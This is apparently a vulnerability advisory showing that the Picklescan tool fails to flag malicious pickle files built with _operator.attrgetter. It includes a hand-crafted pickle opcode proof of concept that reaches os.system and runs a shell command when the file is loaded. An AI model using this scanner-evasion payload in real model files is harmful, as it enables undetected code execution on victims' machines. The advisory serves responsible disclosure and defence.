Picklescan is vulnerable to RCE via missing detection when calling built-in python _operator.attrgetter

Summary

### Summary Picklescan uses _operator.attrgetter, which is a built-in python library function to execute remote pickle files. ### Details The attack payload executes in the following steps: - First, the attacker crafts the payload by calling the _operator.attrgetter function in the reduce method. - Then, when the victim, after checking whether the pickle file is safe by using the Picklescan library and finding that this library doesn't detect any dangerous functions, decides to call pickle.load() on this malicious pickle file, it leads to remote code execution. ### PoC ``` import pickle import pickletools opcode3 = b'''cbuiltins __import__ (Vos tRp0 0c_operator attrgetter (Vsystem tR(g0 tR(Vecho "pwned by _operator.attrgetter" tR.''' pickletools.dis(opcode3) pickle.loads(opcode3) ``` This PoC can't be easily create by pickle.dumps, so it was manually built. ### Impact Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models. Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded. Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects. ### Report by Pinji Chen ([email protected]) from the NISL lab (https://netsec.ccert.edu.cn/about) at Tsinghua University, Guanheng Liu ([email protected]).